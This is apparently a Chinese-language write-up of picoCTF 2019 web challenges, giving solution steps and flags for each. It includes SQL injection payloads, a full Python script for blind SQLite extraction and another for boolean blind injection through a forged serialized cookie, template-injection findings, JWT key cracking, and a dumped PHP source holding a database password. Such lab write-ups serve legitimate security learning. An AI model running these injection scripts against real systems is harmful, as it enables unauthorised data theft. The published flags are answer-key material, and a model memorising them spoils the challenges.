很基础的比赛,题目从易到难,比较适合新手入门。
基础题大部分还是去年那些题,不过今年怎么全是sql注入= =
Insp3ct0r
url : https://2019shell1.picoctf.com/problem/21519/
查看网页源码,flag分成三部分在注释中,全局搜索flag即可。
flag: picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?6c48064f}
dont-use-client-side
url: https://2019shell1.picoctf.com/problem/49886/
js本地校验,按顺序拼接回去即可。
flag: picoCTF{no_clients_plz_a67772}
logon
url: https://2019shell1.picoctf.com/problem/32270/
账号密码随便输入,登陆后查看cookie。
1 Cookie: password =admin; username =admin; admin =False
将cookie中的admin
字段改成True即可。
flag: picoCTF{th3_c0nsp1r4cy_l1v3s_b056e2e6}
where are the robots
url: https://2019shell1.picoctf.com/problem/49824/
访问/robots.txt
,得到:
1 2 User-agent : *Disallow : /3663c.html
访问/3663c.html
,得到flag。
flag: picoCTF{ca1cu1at1ng_Mach1n3s_3663c}
Client-side-again
url: https://2019shell1.picoctf.com/problem/21886/
依然是js本地校验,不过这个题加了混淆,去混淆以后即可。
随便找了个在线的平台= =
http://jsnice.org/
去混淆完的勉强能看(算了,还是自己再动手一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 var func = ["getElementById" , "value" , "substring" , "picoCTF{" , "not_this" , "15460}" , "_again_9" , "this" , "Password Verified" , "Incorrect password" ];var data = function (level, ai_test ) { level = level - 0 ; var rowsOfColumns = func[level]; return rowsOfColumns; };function verify ( ) { checkpass = document [data ("0x0" )]("pass" )[data ("0x1" )]; split = 4 ; if (checkpass[data ("0x2" )](0 , split * 2 ) == data ("0x3" )) { if (checkpass[data ("0x2" )](7 , 9 ) == "{n" ) { if (checkpass[data ("0x2" )](split * 2 , split * 2 * 2 ) == data ("0x4" )) { if (checkpass[data ("0x2" )](3 , 6 ) == "oCT" ) { if (checkpass[data ("0x2" )](split * 3 * 2 , split * 4 * 2 ) == data ("0x5" )) { if (checkpass["substring" ](6 , 11 ) == "F{not" ) { if (checkpass[data ("0x2" )](split * 2 * 2 , split * 3 * 2 ) == data ("0x6" )) { if (checkpass[data ("0x2" )](12 , 16 ) == data ("0x7" )) { alert (data ("0x8" )); } } } } } } } } else { alert (data ("0x9" )); } } ;
flag: picoCTF{not_this_again_915460}
Open-to-admins
url: https://2019shell1.picoctf.com/problem/21882/
This secure website allows users to access the flag only if they are admin and if the time is exactly 1400.
不知道这个题burp为什么一直重定向= =
1 2 document.cookie ="admin=True" document.cookie ="time=1400"
访问/flag
得到flag。
flag: picoCTF{0p3n_t0_adm1n5_ee7fd5bb}
picobrowser
url: https://2019shell1.picoctf.com/problem/49789/
This website can be rendered only by picobrowser , go and catch the flag!
header段添加
flag: picoCTF{p1c0_s3cr3t_ag3nt_65c3e4c1}
Irish-Name-Repo 1
url: https://2019shell1.picoctf.com/problem/4162
基础sql注入,万能密码一把梭。
payload:
flag: picoCTF{s0m3_SQL_7db6aa99}
Irish-Name-Repo 2
url: https://2019shell1.picoctf.com/problem/7411/
依然是sql注入,不过过滤了Or
等关键字,然而后端写出锅了吧= =
payload:
flag: picoCTF{m0R3_SQL_plz_4273553e}
Irish-Name-Repo 3
url: https://2019shell1.picoctf.com/problem/47247/
sql注入,还以为是跟去年一样的盲注,结果只是替换了字符串。
抓包发现debug
参数,改成debug=1
,即可看到sql查询语句。
payload:
1 password =' 0123456789 _-abcdefghijklmnopqrstuvwxyz&debug=1
response:
1 2 password: SQL query: SELECT * FROM admin where password =
发现只对字母进行了替换,不难得到替换表。
1 2 abcdefghijklmnopqrstuvwxyz nopqrstuvwxyzabcdefghijklm
构造'or 1=1 --
,根据替换表,得到'be 1=1 --
。
注入得到flag。
flag: picoCTF{3v3n_m0r3_SQL_8b232076}
Empire1
url: https://2019shell1.picoctf.com/problem/12234/
flask写的,还以为是模板注入,测试了下怎么是sql注入= =
fuzz,一个单引号直接500,两个单引号回显是一个单引号,猜测是Sqlite。
过滤/*-
,也就是过滤了sqlite所有注释符号。
猜测sql语句如下:
insert into items(id,text) values(1234,'$item');
为了使单引号闭合,可以构造''+payload+''
,使其闭合。然后由于加号只会计算数值,非数字部分会抛弃掉,需要将想获取的数据进行两次hex以后,才可正常回显,数据过长会导致以指数形式表示,所以要控制每次的获取数据的长度。
写了个脚本爆破:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 import stringimport requestsimport randomimport reimport binasciifrom html.parser import HTMLParser letters = string.ascii_letters + string.digitsclass Flask (object ): def __init__ (self ): self .s = requests.Session() self .s.proxies = { "http" : "socks5://127.0.0.1:1080" , "https" : "socks5://127.0.0.1:1080" , } self .url = "https://2019shell1.picoctf.com/problem/12234" self .username = "" .join([random.choice(letters) for i in range (0x10 )]) self .password = "" .join([random.choice(letters) for i in range (0x10 )]) self .regster() self .login() def regster (self ): path = "/register" r = self .s.post(self .url + path, data={ 'csrf_token' : self .get_csrf_token(path), 'username' : self .username, 'name' : self .username, 'password' : self .password, 'password2' : self .password, 'submit' : 'Register' , }, timeout=2 ) def login (self ): path = '/login' r = self .s.post(self .url + path, data={ 'csrf_token' : self .get_csrf_token(path), 'username' : self .username, 'password' : self .password, 'submit' : 'Sign In' , }, timeout=2 ) def get_csrf_token (self, path ): r = self .s.get(self .url + path, timeout=2 ) csrf_token = re.search('<input id="csrf_token" name="csrf_token" type="hidden" value="(.*?)">' , r.text) if csrf_token: return csrf_token.group(1 ) def add_item (self, item ): path = '/add_item' r = self .s.post(self .url + path, data={ 'csrf_token' : self .get_csrf_token(path), 'item' : item, 'submit' : 'Create' , }, timeout=2 ) if r.status_code == 500 : return None else : rep = self .list_items() return rep[-1 ] def list_items (self ): r = self .s.get(self .url + '/list_items' , timeout=2 ) items = re.findall('<li>\\s*<strong>Very Urgent:</strong>\\s*(.*)\\s*</li>' , r.text) items = list (map (lambda x: HTMLParser().unescape(x).strip(), items)) return itemsdef brute_force (flask, payload ): result = "" length = int (flask.add_item("'+length((%s))+'" % payload)) payload = "'+hex(hex(substr((%s),{},4)))+'" % payload i = 1 while i <= length: try : rep = flask.add_item(payload.format (i)) except : rep = False if rep: result += binascii.unhexlify(binascii.unhexlify(rep).decode('utf-8' )).decode('utf-8' ) print (result) i += 4 print ("Result:" , result)def main (): f = Flask() brute_force(f, "SELECT name FROM sqlite_master WHERE type='table'" ) brute_force(f, "SELECT sql FROM sqlite_master WHERE type='table'" ) brute_force(f, "SELECT admin FROM user WHERE username='%s'" % f.username) brute_force(f, "SELECT secret FROM user WHERE username='%s'" % f.username) while True : payload = input ("Payload: " ) try : rep = f.add_item(payload) except : rep = False print ("Respone:" , rep, end="\n\n" )if __name__ == '__main__' : main()
数据表结构如下:
1 2 3 4 5 6 7 8 9 CREATE TABLE user ( id INTEGER NOT NULL , username VARCHAR (64 ), name VARCHAR (128 ), password_hash VARCHAR (128 ), secret VARCHAR (128 ), admin INTEGER , PRIMARY KEY (id) )
secret
字段就是flag。
flag: picoCTF{wh00t_it_a_sql_inject46527b2c}
Empire2
url: https://2019shell1.picoctf.com/problem/40536/
flask模板注入,没过滤直接搞。
payload:
假flag在SECRET_KEY
中,picoCTF{your_flag_is_in_another_castle12345678}
。
md我还以为让人给搅屎了呢
真flag在session中,直接解密session即可(没key也能解密= =)
flag: picoCTF{its_a_me_your_flag786f93f7}
Empire3
url: https://2019shell1.picoctf.com/problem/49865/
还是flask模板注入,可以获取到SECRET_KEY
为ce6a474e832ece298c50448e1feb069d
。
伪造session,最后在uid为2的用户处拿到flag。
flag: picoCTF{cookies_are_a_sometimes_food_e53b6d53}
JaWT Scratchpad
url: https://2019shell1.picoctf.com/problem/32267/
jwt伪造,一开始以为可以修改算法,进行none攻击,结果不行,只能爆破key。
然而这个key也太长了吧,爆破了好几个小时(还是rxz爆出来的
算力不够我有什么办法,流下了没钱的泪水
key: ilovepico
伪造jwt,将user改成admin
(右转=> https://jwt.io/)
flag: picoCTF{jawt_was_just_what_you_thought_6ba7694bcc36bdd4fdaf010b2ec1c2c3}
cereal hacker 1
url: https://2019shell1.picoctf.com/problem/47283/
Login as admin.
队友扫出来一个弱密码,guest:guest
。登陆后,发现cookie是一个序列化的对象。
编码规则如下:
urlencode(urlencode(base64_encode(serialize($object))))
解码后得到:
O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}
猜测在username处可进行sql注入,尝试sleep。
payload: admin'and sleep(5) #
成功延时5s,存在sql注入漏洞。
然后开始了时间盲注的不归路 = =
注入爆出三个库(然后一个表都没有,)
1 2 3 hmenql`shnm^rbgdl ` ohbn^bg0 ohbn^bg1
爆了一天,什么都没爆出来= =
事实证明这三个库名都是错的。。
后面调试代码,发现使用大于进行二分时,>
两侧必须有空格,不然报错,导致注入结果错误,使用小于则没有问题。同时,时间注入受网络影响较大,错误率还是挺高的。
最后试了试最开始用的万能密码,然后flag就出来了????(为什么一开始就没出来。。佛了)
payload:
1 2 3 admin ' # admin' admin ' and 1=1 #
flag: picoCTF{71411d2f10372bccbdd499087b24084e}
PS: 这题也可以使用时间盲注把密码直接注出来,但是花费的时间会比较长= =
admin:9fa35d94931bba6e67711cbb336c8e0
cereal hacker 2
url: https://2019shell1.picoctf.com/problem/62195/
Get the admin's password.
上面那个题就试了好久的文件包含,结果什么也干不了。
看到/login.php?file=login
,尝试读源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 <?php if (isset ($_GET ['file' ])) { $file = $_GET ['file' ]; } else { header ('location: index.php?file=login' ); die (); }if (realpath ($file )) { die (); } else { include ('head.php' ); if (!include ($file . '.php' )) { echo 'Unable to locate ' . $file . '.php' ; } include ('foot.php' ); }?> <?php require_once ('cookie.php' );if (isset ($perm ) && $perm ->is_admin ()){?> <body> <div class ="container "> <div class ="row "> <div class ="col -sm -9 col -md -7 col -lg -5 mx -auto "> <div class ="card card -signin my -5"> <div class ="card -body "> <h5 class ="card -title text -center ">Welcome to the admin page !</h5 > <h5 style ="color :blue " class ="text -center ">Flag : Find the admin 's password !</h5 > </div > </div > </div > </div > </div > </body > <?php } else {?> <body> <div class ="container "> <div class ="row "> <div class ="col -sm -9 col -md -7 col -lg -5 mx -auto "> <div class ="card card -signin my -5"> <div class ="card -body "> <h5 class ="card -title text -center ">You are not admin !</h5 > <form action ="index .php " method ="get "> <button class ="btn btn -lg btn -primary btn -block text -uppercase " name ="file " value ="login " type ="submit " onclick ="document .cookie ='user_info =; expires =Thu , 01 Jan 1970 00:00:18 GMT ; domain =; path =/;'">Go back to login </button > </form > </div > </div > </div > </div > </div > </body > <?php } ?> ///index .php ?file =php ://filter /convert .base64 -encode /resource =cookie <?php require_once ('../sql_connect .php ');// I got tired of my php sessions expiring , so I just put all my useful information in a serialized cookie class permissions { public $username ; public $password ; function __construct ($u , $p ) { $this ->username = $u ; $this ->password = $p ; } function is_admin ( ) { global $sql_conn ; if ($sql_conn ->connect_errno){ die ('Could not connect' ); } if (!($prepared = $sql_conn ->prepare ("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;" ))) { die ("SQL error" ); } $prepared ->bind_param ('ss' , $this ->username, $this ->password); if (!$prepared ->execute ()) { die ("SQL error" ); } if (!($result = $prepared ->get_result ())) { die ("SQL error" ); } $r = $result ->fetch_all (); if ($result ->num_rows !== 1 ){ $is_admin_val = 0 ; } else { $is_admin_val = (int )$r [0 ][0 ]; } $sql_conn ->close (); return $is_admin_val ; } }class siteuser { public $username ; public $password ; function __construct ($u , $p ) { $this ->username = $u ; $this ->password = $p ; } function is_admin ( ) { global $sql_conn ; if ($sql_conn ->connect_errno){ die ('Could not connect' ); } $q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \'' .$this ->username.'\' AND (password = \'' .$this ->password.'\');' ; $result = $sql_conn ->query ($q ); if ($result ->num_rows != 1 ){ $is_user_val = 0 ; } else { $is_user_val = 1 ; } $sql_conn ->close (); return $is_user_val ; } }if (isset ($_COOKIE ['user_info' ])){ try { $perm = unserialize (base64_decode (urldecode ($_COOKIE ['user_info' ]))); } catch (Exception $except ){ die ('Deserialization error.' ); } }?> <?php $sql_server = 'localhost' ;$sql_user = 'mysql' ;$sql_pass = 'this1sAR@nd0mP@s5w0rD#%' ;$sql_conn = new mysqli ($sql_server , $sql_user , $sql_pass );$sql_conn_login = new mysqli ($sql_server , $sql_user , $sql_pass );?>
审计源码,不难发现cookie处仍存在反序列化。同时,permissions
对象的SQL语句拼接已经修复,无法注入,但是siteuser
对象仍使用字符串拼接构造sql查询语句,可进行sql注入。
根据admin.php
的判断逻辑,用布尔盲注即可获得admin的密码。
写个脚本二分爆破即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from urllib.parse import quoteimport threadingimport requestsimport base64 session = requests.Session() session.proxies = { "http" : "socks5://127.0.0.1:1080" , "https" : "socks5://127.0.0.1:1080" , }def send (payload ): url = "https://2019shell1.picoctf.com/problem/62195/index.php?file=admin" payload = "admin" + payload cookie = r'O:8:"siteuser":2:{s:8:"username";s:%d:"%s";s:8:"password";s:5:"guest";}' % (len (payload), payload) cookie = base64.b64encode(cookie.encode('utf-8' )) cookie = quote(cookie) try : r = session.get(url, cookies={"user_info" : cookie}, timeout=2.5 ) except : return False if "Welcome to the admin page!" in r.text: return True def get_name (sql ): global end, name char = 1 name = {} payload = sql while char: end = False thread_list = [] for i in range (8 ): thread_list.append(threading.Thread(target=search, args=((0 , 129 , char + i, payload)))) threading.Semaphore(8 ) for t in thread_list: t.start() for t in thread_list: t.join() char += 8 if end: name = sorted (name.items(), key=lambda x: x[0 ]) print ("" .join([x[1 ] for x in name])) break def search (left, right, char, sql ): global end, name mid = (left + right) // 2 if right != left + 1 : payload = sql % (char, mid) rep = send(payload) if rep: search(left, mid, char, sql) elif rep == None : search(mid, right, char, sql) elif right != 1 : name[char] = chr (mid) else : end = True return if __name__ == '__main__' : sql = "'AND (ASCII(SUBSTRING((SELECT password FROM pico_ch2.users WHERE username='admin'),%d,1))<%d)-- " get_name(sql)
flag: picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}
Java Script Kiddie
url: https://2019shell1.picoctf.com/problem/49785/
页面很简单,主要就是一段js。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var bytes = []; $.get ("bytes" , function (resp ) { bytes = Array .from (resp.split (" " ), x => Number (x)); });function assemble_png (u_in ){ var LEN = 16 ; var key = "0000000000000000" ; var shifter; if (u_in.length == LEN ){ key = u_in; } var result = []; for (var i = 0 ; i < LEN ; i++){ shifter = key.charCodeAt (i) - 48 ; for (var j = 0 ; j < (bytes.length / LEN ); j ++){ result[(j * LEN ) + i] = bytes[(((j + shifter) * LEN ) % bytes.length ) + i] } } while (result[result.length -1 ] == 0 ){ result = result.slice (0 ,result.length -1 ); } document .getElementById ("Area" ).src = "data:image/png;base64," + btoa (String .fromCharCode .apply (null , new Uint8Array (result))); return false ; }
分析了一下源码,输入是key,每一位是一个偏移量用于解密。16字节一组,每次间隔16位从bytes中选取值作为每组的第i字节,起始位置由偏移量决定,最后构成一张png图片。已知一个完整的组的话,就可以去构造key。
图片中唯一可以确定的是png头,所以从png头入手,构造可能的key进行爆破。
png头:
1 89 50 4 E 47 0 D 0 A 1 A 0 A 00 00 00 0 D 49 48 44 52
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 var png = Array .from ("89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52" .split (" " ), x => parseInt (x, 16 ));var shifters = [];function dfs (i, key ){ for (var shifter = 0 ; shifter < 10 ; shifter++){ if (png[i] == bytes[((shifter * 16 ) % bytes.length ) + i]){ if (i == png.length - 1 && key.length == 15 ){ shifters.push (key + shifter.toString ()); return ; }else if (i == png.length - 1 ){ return ; } else { dfs (i + 1 , key + shifter.toString ()); } } } }dfs (0 , "" );function assemble_png (u_in ){ var LEN = 16 ; var key = "0000000000000000" ; var shifter; if (u_in.length == LEN ){ key = u_in; } var result = []; for (var i = 0 ; i < LEN ; i++){ shifter = key.charCodeAt (i) - 48 ; for (var j = 0 ; j < (bytes.length / LEN ); j ++){ result[(j * LEN ) + i] = bytes[(((j + shifter) * LEN ) % bytes.length ) + i] } } while (result[result.length -1 ] == 0 ){ result = result.slice (0 ,result.length -1 ); } var oImgBox = document .createElement ("img" ); oImgBox.setAttribute ("src" , "data:image/png;base64," + btoa (String .fromCharCode .apply (null , new Uint8Array (result)))); document .body .append (oImgBox); return false ; }for (var i = 0 ; i < shifters.length ; i++){ assemble_png (shifters[i]); }
key正确可以出来一张二维码,扫码得flag。
flag: picoCTF{5184e4f12d91ca0e13de639627b4bb6a}
Java Script Kiddie 2
url: https://2019shell1.picoctf.com/problem/12281/
跟上题一样的思路,只是这个题在每两位偏移量中间补了一位无效值作为填充,本质上跟上一个题没有区别,exp再跑一遍就好了= =
flag: picoCTF{3aa9bd64cb6883210ee0224baec2cbb4}